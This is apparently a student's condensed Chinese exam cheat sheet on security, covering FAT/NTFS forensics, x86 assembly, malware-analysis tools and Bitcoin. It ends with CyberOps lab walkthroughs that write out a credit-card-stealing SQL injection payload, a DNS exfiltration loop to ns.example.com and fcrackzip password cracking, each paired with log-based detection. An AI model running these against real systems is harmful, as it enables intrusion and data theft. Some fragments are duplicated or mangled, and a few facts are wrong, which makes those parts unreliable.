期末前和小伙伴一起整理的一页纸开卷内容。因为一页纸的原因,图片压的很小,原本的字体应该是 等线 六号,为了尽可能打印更多的量而使用了极为紧凑的排列方法。
正文:
BIOS组件:自检及初始化程序 参数配置程序 基本硬件和端口的驱动程序 程序服务请求。内存分配:0~9FFFFH基本内存,A0000~BFFFFH显存,C0000~FFFFFH显卡、BIOS使用。
BIOS在内存中建立中断向量表和中断服务程序。在:0x000000x003FF(1KB)构建中断向量表。在:0x004000x004FF构建BIOS数据区。在:0x0E05B后加载8KB的中断服务程序。中断向量表有256个中断向量,每个中断向量4字节,两个为CS值,两个为IP值,指向中断服务程序。
开机过程:计算机在按下power键以后,开始执行主板BIOS程序,进行完一系列检测和配置以后,BIOS中设定的系统引导顺序引导系统。BIOS在执行自己固有的程序以后就会jump到MBR中的第一条指令,将系统的控制权交由MBR来执行。MBR检查完硬盘后会自动读取活动分区的第一个扇区,进行如下启动过程:
FAT文件系统格式:
MBS中包含MBR(33 C0 8E-6D 00 00)DPT(80 01 01开始到后面,80为活动分区,具体如下),ID(55AA)。
DBS中包含跳转指令(跳转到引导代码,EB开始),厂商标识到系统版本(4D 53 57开始到31),逻辑磁盘参块/BPB(00 02 10到89 4E 02,具体如下),DBR(B1 0B FC到后面)ID(55AA)
簇的特性:一个扇区256字节,一个簇的扇区数看BPB。在FAT簇登记项中,0号和1号登记项是表头,簇的登记项从2号开始,即磁盘的第一个文件从第2簇开始分配。文件的起始簇号由文件目录表FDT中每个目录登记项的26和27字节决定。已知簇号找扇区号:
FAT表的作用:1. 扇区是否分配(未分配为0)2. 该扇区下一扇区是什么(对应的值为下一扇区地址或文件结束符FFFFFFF(8-F)。3. 扇区是否可用(保留簇FFFFFFF(0-6)或坏簇FFFFFFF7均不可用).FAT表的开头标识为F8 FF FF FF
FDT的作用:记录根目录下的文件或文件夹的文件名与属性。
寻找一条FDT信息的方式:找保留未用的字段,上一排即为文件的开始。
安全运营中心SOC的工作:事件收集关联和分析 安全监控 安全控制 日志管理 漏洞评估 漏洞跟踪 威胁情报。
离线与在线:个人信息为社会所知,例如姓名、年龄或住址。/网络空间中的角色,在线身份应仅显示关于有限信息。
CIA三元组:机密性,完整性,可用性
软件安全漏洞分类:缓冲区溢出,未验证输入,竞争条件,访问控制问题。
间谍软件分类:广告软件,僵尸程序,勒索软件,假冒安全软件
病毒分类:特洛伊木马(看似合法的软件,但它包含恶意代码,恶意代码会利用运行代码的用户的权限),蠕虫(利用网络中的漏洞进行自我复制),Rootkit(安装目标上隐藏自身),中间人 (MitM/监听) ,移动中的人 (MitMo/部署在移动设备上的恶意软件来绕过密码验证系统)
网络攻击的分类:侦查跟踪攻击,访问攻击,DoS 攻击
社会工程:一种尝试操纵个人执行操作或泄露机密信息的访问攻击。(假托 近距尾随 以物换物 垃圾邮件 网络钓鱼 引诱 凭视力进行黑客攻击)
利用漏洞的方法:收集目标系统信息/WHOIS;了解对象的操作系统和运行的服务/ nmap;根据已知的操作系统和服务,寻找漏洞;根据漏洞进行攻击或编写程序利用漏洞。ATP高级持续性攻击:针对特定目标的多阶段、长期、隐秘且高级的操作。
是否感染大麻病毒标识符:EA 05 00 C0,即通过比对9F80:0000与9F80:0200开头四字节是否相同确认是否感染。病毒流程如下:
X86通用寄存器:EABCDX EBP/基地址寄存器 ESP/栈顶指针 ESI/源地址寄存器;段寄存器:CS SS DS ES FS GS;标志寄存器EFLAGS;指令指针EIP;ZF/结果为0,CF,SF/结果为负数 均为跳转用寄存器。
mov eax, [ebx+8]:取数;lea eax, [ebx+8]:取地址
inx eax:eax递增1;dec eax:eax递减;
mul 50:EAX乘50,EDX存高32位EAX存低32位;div 75:除法,EDX存余数EAX存商;
shl eax,2 :左移;ror:循环右移;
imul/idiv:有符号乘除法;NOP:空指令;
push/pop:入/出栈;call/ret:调用/返回;
pusha:顺序入栈(16位)pushad (32位)
test:做和运算,为零则ZF=1;cmp类似。
常见的函数调用约定:cdecl(结束时由调用者清栈),stdcall(…被调用者),fastcall。
概述:MFT由一系列文件记录组成,每个文件记录由一个记录头和一组属性即属性的实际值(流)组成,每个属性由一个标准属性头和属性内容组成,常驻属性,流就存储在文件记录中,非常驻属性,流的位置存储在文件记录中,流存储在数据区。
NTFS属性部分:文件记录的格式:记录头|10H属性|30H属性|80H属性|90H属性|B0H属性|...|记录结束标志(FF FF FF FF 00 00 00 00或FF FF FF FF 82 79 47 11)|无用数据。文件记录头格式:FILE标识字段-4;更新序列号-2;更新序列组数-2;日志文件序列号-8;记录被使用和删除次数-2;硬连接数目(多少目录指向该文件)-2;度)-2;压缩/加密/稀疏标志-2;属性ID标识-2;属性体长度/流长度-4;属性体偏移/流偏移-2;索引标志-1;填充位-1。10H属性体格式:C(文件创建)时间-8;M(文件最后修改)时间-8;E(MFT修改)时间-8;A(文件访问/读取)时间-8;文件属性标识-4;文件版本限制(0表示无限制)-4;文件版本号-4;分类ID(双向类索引)-4;所有者(与 Q u o t a 相 关 ) - 4 ; 安 全 I D ( 与 Quota相关)-4;安全ID(与 Quota相关)-4;安全ID(与Secure相关)-4;配额管理(0表示没有使用配额)-8;更新序列号(0表示没有USN日志)-8。30H属性,文件记录的文件名属性,常驻非命名属性。30H属性头格式:属性类型/属性名(如30H)-4;属性总长度-4;常驻与否标志-1;属性名长度(为0表示非命名属性)-1;属性名的开始偏移(无属性名时等于属性头长度)-2;压缩/加密/稀疏标志-2;属性ID标识-2;属性体长度/流长度-4;;属性体偏移/流偏移-2;索引标志-1;填充位-1。30H属性体格式:父目录的文件参考号(05表示父目录为MFT)-6;序列号(父目录的删除次数)-2;C(文件创建)时间-8;M(文件最后修改)时间-8;E(MFT修改)时间-8;A(文件访问/读取)时间-8;文件分配大小-8;文件实际大小-8;标志-4;用于EAs和重解析-4;以字符计的文件名长度-1;文件命名空间(表明文件名可以使用哪些字符)-1;Unicode表示的文件名-14。80H属性,文件记录的数据流属性,非命名属性,记录文件数据。
1.为常驻属性时:此时数据内容小于512字节,数据内容为0时属性体长度也为0;此时的属性头(长度为0x18):属性类型/属性名(如80H)-4;属性总长度-4;常驻与否标志-1;属性名长度(为0表示为非命名属性)-1;属性名的开始偏移(无属性名时等于属性头长度)-2;压缩、加密、稀疏标志-2;属性ID标识-2;属性体长度-4;属性体偏移/流偏移-2;索引标志-1;填充-1。此时属性体位于文件记录内,紧挨着属性头的后面,其内容为文件数据。2.为非常驻属性时:80H属性有7种变种:文件摘要信息; m o u n t M g r D a t a b a s e ; mountMgrDatabase; mountMgrDatabase;Bad; S D S ; SDS; SDS;J;$Max;用户命名数据流。前六种为非命名(系统已定义),最后一种为命名(需要用户命名)。此时的属性头(长度为0x40+):属性类型/属性名(如80H)-4;属性总长度-4;常驻与否标志-1;属性名长度(为0表示为非命名属性)-1;属性名的开始偏移(无属性名时等于属性头长度)-2;压缩、加密、稀疏标志-2;属性ID标识-2;属性体的起始虚拟簇号VCN-8;属性体的结束虚拟簇号-8;数据运行列表(Run List)信息的(相对于属性开头的)偏移地址-2;压缩单位大小(2^x簇,为0表示未压缩)-2;填充数据-4;属性体的分配大小(扇区数)-8;属性体的实际大小(扇区数)-8;属性体的压缩大小(扇区数)-8;数据运行列表(Run List)信息-?(大小视具体情况而定)。此时的属性体不在文件记录内,位于数据存储区域,内容为文件内容。NTFS数据运行部分:单个数据运行格式:第一个字节由两部分组成,设高4位的十六进制数为N,低4位的数为L;则后面紧跟着L个字节的数据运行所占簇数(大小)和N个字节的数据运行逻辑起始簇号(逻辑簇号即磁盘中所有簇顺序排列的序号);多个数据运行依次排列,组成数据运行列表。NTFS时间部分:(10H和30H)属性中的CMEA时间以100ns为单位,从1601年1月1日开始计数。文件最初生成:C、A、M、E时间是一致的。(对于10H属性中的CAME时间)从文件操作看时间变化:执行复制操作时:目标文件的E、M时间与源文件一致;目标文件的C、A时间为复制操作时间;执行移动操作时:目标文件的E、A时间为移动操作时间;M、C时间保持不变;修改文件读写属性时:A、E时间更新为文件操作时间(Win Vista以后的版本,A时间根据NtfsDisableAsAccessUpdata值变化);重命名操作时:A更新为重命名操作时间;E更新为重命名操作结束时间;修改操作时:不同应用程序有不同处理方式。从时间变化看文件操作:若CMAE时间一致,则文件没有被修改或复制;若CA时间一致,且晚于EM时间,则文件从其它位置复制的;若EA时间一致,且晚于MC时间,则文件从其它位置移动过来的;若AE时间一致,MC时间不同,且文件为“只读”“隐藏”,A或E时间为特殊属性设置时间;若A时间在前,E时间在后,且A、E时间间隔极短,该文件可能执行过“重命名操作”。(对于30H属性中的CAME时间)从文件操作看时间变化:文件创建时,CMAE时间更新为创建时间;文件修改、访问、重命名时,4种时间不变;文件被复制时,目标文件4种时间变化为文件生成时间;文件删除时,文件的ME时间发生变化,AC不变。
(结合以上叙述)关于时间的判断规则:1、若修改时间等于创建时间,该文件没有修改也不是复制过来的。2、若文件修改时间早于创建时间,文件曾复制或移动。3、一个文件夹下,若修改时间早于创建时间,并十分接近,这些文件通过批处理复制的/通过批处理从一个分区移动到另一分区/从一个压缩文件中解压出来的4、若同一个文件夹中的图片或视频文件有相近的访问时间,这些文件可能被某些工具扫描过。(预览缩略图)5、若一个文件夹中的文件由“较分散”的访问时间,这个文件可能是单独访问的。6、一个文件夹下,若文件的修改时间等于创建时间,且这些文件的创建(修改)时间接近,则这些文件可能通过网络或另一系统大批量下载的。7、一个文件夹下,若文件的MAC时间相同,则该文件夹创建后未被修改过。8、若一些文件夹的MAC时间十分接近,且每个文件夹的修改、访问和创建时间相等,这些文件夹是被安装,或批量复制,或移动。9、若一个文件夹有“较分散”的访问时间,这个文件夹很可能是单独访问的。
恶意代码分析部分:提取并分析恶意代码基于主机的特征码和基于网络的特征码。VMware检测:安装VMware Tools后,恶意代码可以通过存在于操作系统的文件系统、注册表和进程列表中的标记痕迹,探测VMware虚拟环境的存在。在Vmware镜像的进程列表中运行了三个进程:VMwareServivce.exe、VMwareTray.exe和VMwareUser.exe。恶意代码还可以通过搜索注册表中安装的服务或通过列举系统中的服务识别:net start | findstr Vmware;还可以通过识别虚拟网卡的MAC地址进行检测。加壳处理:被加壳的可执行文件经过压缩、加密或其它转换,让程序难以被分析。一般采用加壳器,将一个恶意代码所在文件转换为新的可执行文件。恶意代码可以作为新文件的数据被存储,新文件可以直接调用它。加壳后,可以使用脱壳工具脱壳后再分析。可以通过PEiD检查程序是否加壳,且加壳工具是什么,再用相应的加壳工具进行脱壳。例如,UPX工具提供加壳和脱壳功能。
静态分析方法:使用反病毒软件(VirusTotal)确认程序样本的恶意性;用哈希识别恶意代码;用字符串、函数、文件头信息挖掘有用信息(strings.exe:特别注意IP地址、错误信息等字符串)(查看导入表中的函数等)。
各种分析工具的作用:VirusTotal:显示恶意代码的各项信息;WinMD5:计算哈希值;strings.exe:显示字符串,寻找可疑信息;PEid:检测恶意代码是否加壳、加壳工具是什么;UPX:提供加壳和脱壳功能;PEview:分析恶意代码的PE头、导入表等;ResourceHacker:提取并单独查看文件的可能包含恶意代码的资源节,对其进行分析;DependencyWalker:分析链接库和导入函数;ProcessMonitor:用于监控注册表、文件系统、网络、进程和线程行为(需要设置过滤器等);ProcessExplorer:监视系统运行的进程和子进程(双击进程显示属性窗口,Strings属性中可以显示磁盘和内存中分别的字符串,若两者差异大,就可能发生进程替换)(可以通过搜索查找恶意dll文件是否加载);Regshot:对比恶意代码运行前后的注册表快照,判断恶意代码是否修改了注册表;ApateDNS:在本机上监听特定端口,使用用户指定的IP地址对恶意代码的DNS请求给出虚假的DNS响应;Netcat:支持端口扫描、隧道、代理、端口转发等功能,一般在实验中用于监听特定端口;Wireshark:对网络数据进行抓包以达到监听和记录的效果。
常见的链接库及其功能:Kernel32.dll(提供系统核心功能,访问和操作内存、文件、硬件等);Advapi32.dll(提供核心Windows组件访问,如服务管理器和注册表);User32.dll(包含用户界面组件、如按钮、滚动条、响应用户操作等);Gdi32.dll(包含图形显示和操作的函数);Ntdll.dll(Windows内核接口。一般通过Kernel32.dll间接导入);Wsock32.dll/Ws2_32.dll(用于联网,或执行网络相关操作);Wininet.dll(实现应用层网络函数,如FTP、HTTP等协议)。
IDA Pro操作:反汇编窗口:空格切换文本模式和图形模式;导出表窗口:列举所有导出函数(分析DLL);导入表窗口:列举所有导入函数;名字窗口: 列举各种名字,函数、命名代码、命名数据等;函数窗口:列出所有函数及其长度和标志(R:会回到调用者的函数,S:静态函数,F:far function,B:基于BP的帧,L:库函数,T:帧指针指向帧的底部,M、S、I、C、D、V:保留);字符串窗口:显示所有字符串;结构窗口:活跃数据结构的布局;在Sequence of Bytes搜索特定字节序列(分析密码实验);跳转到调用指令jump to operand;查看交叉引用(XREF)并创建交叉引用图等。DLL分析方法:运行dll文件的方法:rundll32.exe 目标dll文件, Install或rundll32.exe 目标dll文件, #4(导入表里的函数序号)或:先注册服务,再运行:rundll32.exe 目标dll文件, InstallService ServiceName + net start ServiceName。各类关键函数:CreatProcessA(创建一个新进程及其主线程以运行指定的可执行文件)、OleInitialze(初始化COM库以供调用)、CreatFileMapping(创建一个新的文件映射内核对象)、CoCreateInstance(用指定的类标识符创建一个COM对象以获取对COM功能的访问)、Navigate(访问一个以URL标识的资源)、CreateThread(在主线程的基础上创建一个新线程)、CreateMutex(判断当前系统是否已经存在指定进程的实例,如果没有则创建一个互斥量)、OpenMutex(为现有的一个已命名互斥量创建一个新句柄)、OpenSCManager(建立了一个到服务控制管理器的连接,并打开指定的数据库)、CreateService(创建一个服务对象,并将其添加到指定的服务控制管理器数据库)、StartServiceCtrlDispatcher(将一个服务进程的主线程连接到服务控制管理程序上,使其成为该进程的服务调度线程)等。
恶意代码利用服务的原理:服务在后台运行,不会在任务管理器中作为进程显示,或者一个进程(svchost.exe)可以组合多个服务,可以开机自启动,适合恶意代码隐藏自身并长期驻留。恶意代码利用异常处理的原理:指向异常处理信息的指针保存在栈上;栈溢出时,恶意代码覆盖这个指针(修改异常入口);下一次异常时,就能够执行恶意代码。互斥量:互斥量是一个全局概念,用于协调多个进程和线程,一般在恶意代码中用于保证同一时刻有且只有一个恶意代码实例在运行。
命名法:变量命名:匈牙利表示法(用前缀识别变量类别);函数命名:使用IDA进行分析时根据分析和推测出的函数功能对其重命名,以方便之后函数再出现时的分析。
多线程分析:注意恶意代码调用CreateThread函数创建线程的行为。
比特币的实质:相互验证的公开记账系统;区块链:记录所有历史交易的总账;区块:总账的一页。电子货币是一串签名:货币的拥有者交易时,上次交易和下一个比特币所有者的公钥进行数字签名,并加到比特币中。
Locktime:所有singnature hash类型都有Locktime,用于表示交易能够最早加入区块链的时间。若签名者反悔,他们可以创建一个新的没有锁定时间的交易。使用过去的output作为input。若新交易在Locktime之前加入区块链,之前的交易就失效。
比特币使用的加密算法:非对称加密:椭圆曲线算法ECC。公钥:账号(比特币地址);私钥:比特币(钱包文件);哈希算法:SHA-256。
比特币UTXO的概念:所有能花费的钱被统一表示成UTXO(Unspent Transaction Output),该UTXO和一个钱包地址关联,要想知道有多少钱可以花,只能遍历所拥有的钱包,然后把和该钱包关联的UTXO累加在一起,结果便是账户余额。
锁定输出,形成UTXO :交易输出仅仅附带一个接收者公钥,但并不验证该公钥确实对应接收者本人。
解锁UTXO :如果你要花钱,你必须确保这笔钱确实是自己拥有的,即来自于从来的某一个锁定的输出,该锁定的输出附带自己的公钥,此时自己用私钥将其解锁即可使用。
比特币挖矿的方法:挖矿的功能就是将新区块加入区块链,使得交易记录很难修改。单人挖矿:个体独立产生区块。独享区块提供的奖励;挖矿池:多个矿工分担计算,共享奖励。
为提供点对点的分布式时间戳服务器(证实特定数据在特定时刻是的确存在的),需要一个系统证明时间的不可篡改。比特币采用了Adam Back’s Hashcash——用计算难度保证时间流逝:寻找一个随机数Nonce使该区块的随机散列出现多个0,这个随机数就是工作证明,需要消耗CUP工作量。若修改某个区块,必须修改这个区块后的所有区块的随机数,完成全部工作量。
GET请求:HTTP报文-请求报文。GET主要是获取web页面,实体为空;POST提供一些信息,服务器根据这些信息提供web页面,实体主体中包含用户的输入值;HEAD用于测试,服务器不返回请求对象。
客户机的请求首先向web代理发出,若web代理没有相关内容,需要向起始服务器请求。因此,粗看客户与服务器虽然已经完成了TCP连接,但首部行还是需要定义目标所在主机。
sp 空格符 32;cr 回车符 13;lf 换行符 10。
HTML表单也用GET方法,将输入的数据传送到正确的URL中。HTTP是无连接的:每次连接只处理一个请求。服务器处理完客户的请求,并收到客户的应答后,即断开连接。
Cookie是Web服务器生成的唯一标识码,用于识别用户。响应报文与请求报文中包含Cookie首部行。用户端系统中保留一个 Cookie文件以便后续请求;服务器将cookie作为后端数据库的一项索引保存。
Base64:所有二进制代文件均可转换为可打印的文本编码,以使不同设备和软件能够统一处理不可显示的字符。三个字符可转换成四个base64的可显示字符;字符数不足3,则在bit末位补0补足24bit,也就是转换后的字符后填充‘=’到4个字符。因此可用末位‘=’鉴别。
如:A的二进制是0100 0001 其中,取前六位,补前2位成00 010000,构成Q;后2位,补后续的6位,再补前2位 成00 01 0000,构成Q;少于4字符,因此补上两个“=”符号。
Snort规则分析:规则:负载规则选项:识别内容(内容元素)的规则选项;非负载规则选项:识别内容(内容元素)无关的规则选项。
content:!”string”则表示排除这个字符串。
正则表达式:从字符串中获取匹配的部分。
OpenSSL实验Part 1: 使用 OpenSSL 加密消息
在命令行使用 OpenSSL,并采用AES 来加密文本文件
Step 1: 加密文本文件
a. 登录到 CyberOPS Workstation 虚拟机。 b. 打开终端窗口。c. cd /home/analyst/lab.support.files/ d. cat letter_to_grandma.txt 在屏幕上列出加密 letter_to_grandma.txt 文本文件的内容。e.openssl aes-256-cbc -in letter_to_grandma.txt -out message.enc该命令将使用 AES-256 对文本文件进行加密,并将加密的版本另存为 message.enc。OpenSSL 将要求输入并确认密码。f. cat message.enc(此时无显示)。g. openssl aes-256-cbc -a -in letter_to_grandma.txt -out message.enc。-a选项通知 OpenSSL 先将加密消息编 码为 Base64,然后再将结果存储到文件中。。h. cat message.enc(正确显示,但是为ascll形式)。
Part 2: 使用 OpenSSL 解密消息
a. openssl aes-256-cbc –a -d -in message.enc -out decrypted_letter.txt b(解密)。b. 再次输入相同的密码
c. cat decrypted_letter.txt(获得正确信息)。
解密实验
第 1 部分:创建和加密文件
第 1 步: 创建文本文件
a.d ~。验证是否处于 analyst 主目录中。b.使用 mkdir Zip-Files 命令创建一个名为 Zip-Files 的新文件夹。c. 使用 cd Zip-Files 命令移动到该目录中。d. echo This a sample text file > sample-1.txt以创建名为 sample-1.txt 的文本文件。e. ls -l验证文件是否已创建。
第 2 步: 压缩并加密文本文件
a.zip –e file-1.zip sample创建一个名为 file-1.zip 的加密 zip 文件。b. 输入密码。c. 验证是否使用 ls 命令创建了所有压缩文件。(ls -l f)。d. unzip file-1.zip(提示输入密码)。
第 2 部分: 恢复加密的 zip 文件密码
第 1 步: Fcrackzip 简介
a.输入 fcrackzip –h 命令以查看相关的命令选项。
第 2 步: 使用 fcrackzip 恢复密码
fcrackzip -vul 1-4 file-1.zip
fcrackzip –vul 1-4 file-2.zip
密码越长,发现密码所需的时间也越长。
SQL 注入攻击
Step 1: 执行SQL注入
输入网址 209.165.200.235。点击 Mutillidae 访问一个易受攻击的网站
点击 OWASP Top 10 > A1 - 注入 > SQLi - 提取数据 > 用户 信息。
右键点击名称字段内部,然后选择检 查 要素 (Q)。
在“用户名”字段中,双击 20,将其更改为 100
名称字段中输入 ’ union select ccid,ccnumber,ccv,expiration,null from credit_cards –
Step 2: 看 查 日志。 Sguil
双击桌面上的 Sguil 图标。系统提示时,输入用户名 analyst 和密码 cyberops。
点击全选 监控所有网络
在 Sguil 控制台的右下角窗口中,点击显示数据包数据和显示规则
搜索与 ET WEB_SERVER Possible SQL Injection Attempt UNION SELECT 相关的警报
右键点击结果中的“警报 ID”。选择脚本。
在该窗口中,您会看到,使用 UNION 运算符的 GET 语句曾被用来访问信用卡信息。
您也可以确定攻击者检索的信息。点击搜索,在“查找:”字段中输入 username。使用查 找按钮找到已捕获 的信息
选择 Wireshark。选择跟踪 TCP 流。
但它应该与上面的脚本包含相同 的信用卡信息。
Step3:查看ELSA日志。
启动 ELSA
选择 HTTP > TOP 潜在 SQL 注入。选择 209.165.200.235
点击最后一个条目的信息。此信息与成功 SQL 注入有关。
点击插件 > getPcap。可用来获取 pcap 脚本和下载 pcap
键入 Ctrl + F 打 查 开“ 找…”对话框。在字段中输入 username。 应该您 能够找到在 SQL 注入漏洞利用过程中显示的信 用卡信息。
DNS偷渡实验
Step 1: 将文本文件 十六 制文件 转换为 进 。
在 CyberOps Workstation 上,切换到 /home/analyst/lab.support.files/ 目录。验证 confidential.txt 文件 是否在该目录中(more命令显示)
xxd 命令创建十六进制转储或者将十六进制转换回二进制。xxd -p confidential.txt > confidential.hex。
cat confidential.hex验证 confidential.hex 的内容。
cat /etc/resolv.conf验证 CyberOps Workstation 已配置为使用 209.165.200.235 上的本地 DNS 分解器。
Step 2: 将内容添加到 日志前面 查询
for line in cat confidential.hex
; do drill $line.ns.example.com; done drill 命令可用来从 DNS 中获取信息。
Step 3: 泄漏 日志 查询 。 DNS
登录到 Kali
egrep -o [0-9a-f].ns.example.com /var/lib/bind/query.log | cut -d. -f1 | uniq > secret.hex解析 DNS 查询日志文件
cat secret.hex显示十六进制文件。
退出 Metasploitable SSH 会话。
scp [email protected]:/home/user/secret.hex ~/将 secret.hex 文件从 Metasploitable VM 复制到 Kali VM(需要输入user密码)
xxd -r -p secret.hex > secret.txt。xxd 命令和 -r -p 选项可以对十 六进制转储进行逆向操作。结果被重定向到 secret.txt 文件。cat secret.txt验证 secret.txt 文件的内容与 CyberOps Workstation VM 上的 confidential.txt 文件相同。
Step 4: 分析 DNS泄漏
登录到 Security Onion
ELSA 查询中,点击 DNS > Bottom,查看几个以十六进制字符串作为子域名的第一部 分的 ns.example.com 查询
点击其中一个链接,复制加在 ns.example.com 前面的 63 字节字符串。echo -n “434f4e464944454e5449414c20444f43554d454e540a444f204e4f542053” | xxd -r -p使用 echo 和 xxd 命令还原十六进制字符串。-n 选项可以阻止尾部输出新的行。(看到偷渡数据)
一般q用于退出当前页,ctrl+c也可以实现同样效果
帮助/手册:Help、man、info。
cat:显示文件内容。
mv:移动文件/目录。mv 源文件/目录路径 目的文件/目录路径。注:mv可用于重命名,若目的文件/目录不存在时,移动过去的文件/目录就会变为目的文件/目录的名称。
cp:创建副本。cp 复制对象 副本存放内容
rm:删除。rm 文件路径:删除文件;rm -r 目录路径:删除目录
cd:更改目录。
mkdir:创建目录。
ls:列出目录。-l:列出文件;-a:显示所有文件;-d .:只显示隐藏文件。注:ls -la 和 ls -l -a 是一样的
pwd:查看当前目录路径。
~:主目录;.:当前目录;…:父目录。
echo:输出文本到终端里。echo 文本 > 文件路径 :重定向到文件中(输出在文件中,且覆盖之前的内容);echo 文本 >> 文件路径 :重定向并附加到文件中(输出在文件中,且添加在之前的内容下面)。
gedit:文本编辑器。
chmod:更改当前系统权限。
栈底的地址比栈顶高,push会让栈顶的地址下移。